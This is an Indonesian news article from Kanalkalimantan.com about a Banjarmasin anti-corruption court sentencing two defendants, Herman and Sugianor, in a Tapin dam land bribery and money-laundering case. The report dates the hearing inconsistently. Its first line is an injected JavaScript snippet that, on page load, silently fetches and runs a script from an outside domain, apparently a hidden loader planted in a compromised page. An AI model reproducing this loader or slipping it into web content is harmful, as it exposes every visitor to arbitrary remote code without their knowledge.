(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARMASIN – Dua terdakwa kasus suap dan pencucian uang pembebasan lahan proyek Bendungan Tapin dinyatakan terbukti bersalah oleh majelis hakim Pengadilan Tipikor Banjarmasin, Senin (9/10/2023) siang.
Herman (swasta) dan Sugianor (mantan Kades Pipitak Jaya) masing-masing dihukum dengan pidana 5 tahun 6 bulan penjara dan denda Rp200 juta subsider 2 bulan kurungan.
Putusan pidana penjara itu lebih tinggi 6 bulan dari tuntutan Jaksa Penuntut Umum (JPU) dari Kejari Tapin sebelumnya.
“Terdakwa terbukti bersalah melakukan tindak pidana korupsi secara bersama-sama sebagaimana dakwaan komulatif penuntut umum. Menjatuhkan pidana penjara selama 5 tahun 6 bulan dan denda Rp200 juta subsider 2 bulan kurungan,” ucap Ketua Majelis Hakim Suwandi saat membacakan putusan kedua terdakwa secara terpisah, Senin (9/12/2023) siang.
Menariknya, dalam putusan yang dibacakan Ketua Majelis Hakim Suwandi tidak membebankan keduanya untuk membayar uang pengganti atau dianggap tidak melakukan kerugian negara.
Padahal tuntutan JPU sebelumnya menyatakan keduanya terbukti merugikan keuangan negara, dan membebankan keduanya membayar uang pengganti dengan rincian terdakwa Herman Rp954 juta sedangkan Sugianor Rp800 juta.
Baca juga: Pelajar MTsN Pingsan Setelah Turun dari Angkot
Sementara pasal yang dikenakan masih sesuai dengan dakwaan komulatif penuntut umum, yaitu Pasal 12 Undangan-undang Nomor 31 Tahun 1999 sebagaimana diubah dengan Undang-Undang Nomor 20 Tahun 2001 tentang Pemberantasan Tindak Pidana Korupsi. Kemudian Pasal 3 Undang-Undang Nomor 8 Tahun 2010 tentang Pencucian Uang.
Atas putusan 5 tahun 6 bulan penjara tersebut, penasehat hukum terdakwa Herman maupun Sugianor mengatakan akan mempertimbangkan terlebih dahulu sebelum memutuskan bandung atau menerima putusan.
Baca juga: Ajak Anak Belajar P3K dan Sains di Kebun
“Setelah berdiskusi dengan terdakwa, kami nyatakan pikir-pikir,” ungkap Rahmi Fauzi, salah satu tim penasehat hukum Sugianor.
Hal yang sama juga diungkapkan JPU dari Kejari Tapin, mereka mengaku akan mempertimbangkan terlebih dahulu putusan hakim tersebut. (Kanalkalimantan.com/rizki)
Reporter : rizki
Editor : bie
KANALKALIMANTAN.COM - Hari Museum Internasional yang ditetapkan oleh ICOM dan dirayakan setiap tahun pada tanggal… Read More
KANALKALIMANTAN.COM, SOLO – Masrumi, guru honorer asal Desa Sungai Namang, Kecamatan Danau Panggang, Kabupaten Hulu… Read More
KANALKALIMANTAN.COM, AMUNTAI - Memperingati HUT ke-75 Proklamasi Pemerintahan Gubernur Tentara ALRI Divisi lV Pertahanan Kalimatan,… Read More
Selewengkan Dana Nasabah, Rugikan Negara Rp779 Juta Read More
7 Pelaku Ditangkap dengan Barbuk 21 Unit Sepeda Motor Read More
KANALKALIMANTAN.COM, BANJARMASIN - Tim Tenaga Ahli Gubernur Kalimantan Selatan (Kalsel) melakukan kunjungan ke Dinas Perpustakaan… Read More
This website uses cookies.